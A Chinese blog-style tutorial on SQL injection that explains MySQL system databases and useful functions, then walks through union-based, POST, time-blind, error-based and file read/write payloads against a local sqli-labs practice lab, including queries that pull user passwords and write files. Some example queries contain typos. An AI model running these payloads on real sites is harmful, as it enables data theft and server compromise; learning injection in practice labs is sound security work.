常见漏洞——SQL注入
常见漏洞——SQL注入
一、什么是数据库
数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起、能与多个用户共享、具有尽可
能小的冗余度、与应用程序彼此独立的数据集合。
关系型数据库:
关系型数据库,存储的格式可以直观地反映实体间的关系。关系型数据库和常见的表格比较相似,
关系型数据库中表与表之间是有很多复杂的关联关系的。
常见的关系型数据库有 MySQL, Oracle, PostgreSQL, SQL Server等。
非关系型数据库:
随着近些年技术方向的不断拓展,大量的 NoSQL数据库如 MongoDB、 Redis、 Memcached出于简
化数据库结构、避免元余、影响性能的表连接、摒弃复杂分布式的目的被设计。
NoSQL数据库适合追求速度和可扩展性、业务多变的应用场景。
二、MySQL 基础
MySQL系统中有四个系统自带的数据库information_schema
,performance_schema
,mysql
,sys
-
information_schema库:是信息库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等,在Web渗透中用途很大
SCHEMATA 表:提供了当前MySQL实例中所有数据库信息,show databases结果可取此表 TABLE 表:提供了关于数据中表的信息。查询使用table_name字段 COLUMNS 表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。查询使用column_name字段
-
performance_schema库:具有87张表。MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
-
mysql库:是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码 -
sys库:具有1个表,100个视图。sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。
三、SQL 注入
SQL注入漏洞是什么
是发生于应用程序与数据库层的安全漏洞。网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL使用的参数进行审查,则会带来意想不到的危险。
GET型SQL注入漏洞是什么
我们在提交网页内容时候,主要分为GET方法,POST方法,GET方法提交的内容会显现 在网页URL
上,通过对URL连接进行构造,可以获得超出权限的信息内容。
Web程序三层架构:界面层 + 业务逻辑层 + 数据访问层
在数据访问层,服务器与数据库进行交互,就可以进行SQL注入
原理:
SELECT * FROM t1 WHERE id = %s;
sqlStr := SELECT * FROM t1 WHERE name ='%s' username;
当用户输入1 or 1 = 1
实际上执行的sql
SELECT * FROM t1 WHERE id = 1 OR 1=1;
也就是
SELECT * FROM t1;
SQL注入带来的威胁:
- 猜解后台数据库,盗取网站敏感信息
- 绕过验证登录网站后台
- 借助数据库的存储过程进行提权等操作
在mysql数据库有一个基础的防御Magic Quote,魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。
在php.ini文件内找到
magic_quotes_gpc = On 开启
将其改为
magic_quotes_gpc = Off 关闭
四、MySQL数据库常用函数与参数
函数/参数 | 用法 |
---|---|
=、>、>=、<= 、< > | 比较运算符 |
and、or | and、or |
version() | 当前数据库版本 |
database() | 当前数据库名 |
sleep() | 睡眠时间为指定的秒数 |
if(true,t,f) | if判断 |
length() | 返回字符串的长度 |
substring()/substr()/mid() | 截取字符串.三个函数作用相同,有三个参数 str(“1”,2,3)。1.截取的字符串;2.截取起始位置,从1开始计数;3.截取长度(如果没写,则默认截取到最后) |
left() | 从左侧开始截取指定字符个数的字符串 |
concat( ) | 没有分隔符的连接字符串 |
concat_ws ( ) | 含有分割符的连接字符串 |
group_conat( ) | 连接一个组的字符串 |
ascii()/ord() | 返回ASCII码 |
hex( ) | 将字符串转换为十六进制 |
unhex( ) | hex的反向操作 |
md5( ) | 返回MD5值 |
floor(x) | 返回不大于x的最大整数(2.8取2 ) |
round ( ) | 返回参数x接近的整数(2.8取3,2.1取2 ) |
rand( ) | 返回0-1之间的随机浮点数 |
load_file( ) | 读取文件,并返回文件内容作为一个字符串 |
find_in_set( ) | find_in_set( ) |
benchmark( ) | 指定语句执行的次数 |
name_const ( ) | 返回表作为结果 |
user( ) | 用户名 |
current_user( ) | 当前用户名 |
当前用户名 | 系统用户名 |
@@datadir | 数据库路径 |
数据库路径 | 数据库路径 |
五、SQL注入实例
1.GET型注入
1)先判断是否有注入点(输入'
来判断是否有语法错误,如果有,那么就有注入点)
2)显示所有信息
' or 1=1 #
' and 1=1 #
-- '的作用:闭合前面的单引号,插入我们需要输入的信息
3)猜解数据表有几个字段
' union select 1,2,3 #
-- 出现"have a different number of columns"这种错误,就从1一直往后面猜,直到出现了输入的数字
1' union select 1,2,3,4,5,6,7 #
4)将数字替换成我们需要的信息
1' union select 1,version(),database(),4,user(),6,7 #
5)获取数据库表的信息
a' union select 1,2,table_name,4,5,6,7 from information_schema.tables where table_schema=database() #
6)获取数据库表中的字段信息(注意users如果不带''会报错
)
a' union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='users' #
7)获取用户的账号和密码
a' union select 1,admin,password,4,5,6,7 from users #
2.POST型注入
post型注入与get型注入的方法类似。get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入,而post提交方式主要适用于表单的提交,用于登录框的注入。
post型的URL参数不会显示在网页上,可利用BurpSuite抓包进行重放修改内容,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示。
3.时间盲注
当在网站输入参数没有回显的时候,可以考虑基于延时注入,使用sleep()和if()等
1)sleep()语法
sleep(time),time表示需要休眠的时间,以秒为单位
select sleep(4);
2)if()语法
if(condition,result1,result2),condition:给出的条件,类型为bool类型,如果condition为true,则返回result1;如果condition为flase,则返回result2
select if(length(database())=7,'true','flase');
4.基于报错注入
当在网站输入参数没有回显的时候,可以考虑基于XPath报错注入,使用updatexml()和extractvalue(),函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。
如果是正常的格式,即查询不到也不会报错
1)updatexml()语法
updatexml(目标xml文档,xml路径,更新的内容)
select upadtexml(1,concat(0x7e,(select database()),0x7e),1);
2)extractvalue()语法
extractvalue(目标xml文档,xml路径)
select upadtexml(1,concat(0x7e,(select database()),0x7e));
5.文件读写注入
高权限用户可以对数据库进行读写操作,secure_file_priv
该选项限制了mysql导出文件的权限。
查看secure_file_priv
linux
cat etc/conf
windows
www/mysql/my.ini
使用 show global variables like '%secure%' 查看mysql全局变量配置
1、文件的读写权限
secure_file_priv=''
代表对文件有读写权限
secure_file_priv=NULL
代表对文件没有读写权限
secure_file_priv='d:/phpstudy/mysql/data'
代表只能对指定的文件进行读写
2、知道网站绝对路径
Windows常见:
Phpstudy phpstudy/www
phpstudy/PHPTutorial/www
Xampp xampp/htdocs
Wamp wamp/www
Appser appser/www
Linux常见:
/var/mysql/data
/var/www/html
路径获取的常见方式:报错显示,遗留文件,漏洞报错,平台配置文件等
读取和写入文件
1)读取文件
使用函数:load_file()
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file('d:/d.txt'),3 --+
后面的路径可以是单引号(/),0x,char转换的字符。
2)写入文件
使用函数:into outfile() 能写入多行,按格式输出
into dumpfile() 只能写入一行,没有输出格式
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,'lch',3 into outfile'e:\d.txt' --+
outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径()
六、WAF绕过
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具